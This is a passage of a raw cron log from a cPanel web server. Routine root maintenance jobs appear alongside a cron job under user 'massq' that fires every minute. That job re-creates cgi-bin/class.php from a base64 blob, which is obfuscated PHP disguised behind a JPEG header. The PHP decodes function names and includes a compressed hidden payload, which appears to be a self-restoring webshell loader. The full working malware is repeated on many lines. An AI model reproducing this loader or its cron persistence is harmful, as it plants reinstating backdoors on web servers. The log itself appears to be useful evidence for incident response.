X1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:14:01 server CROND[23916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:15:01 server CROND[24091]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:15:01 server CROND[24095]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 00:15:01 server CROND[24108]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 11 00:15:01 server CROND[24107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:15:01 server CROND[24110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:16:01 server CROND[24259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:17:01 server CROND[24333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:18:01 server CROND[24402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:19:01 server CROND[24473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:20:01 server CROND[24638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:20:01 server CROND[24639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:20:01 server CROND[24640]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 00:20:01 server CROND[24641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 00:20:01 server CROND[24652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:21:01 server CROND[24764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:22:01 server CROND[24824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:23:01 server CROND[24890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:24:01 server CROND[24961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:25:01 server CROND[25025]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 00:25:01 server CROND[25026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:25:01 server CROND[25027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:25:01 server CROND[25024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:26:01 server CROND[25250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
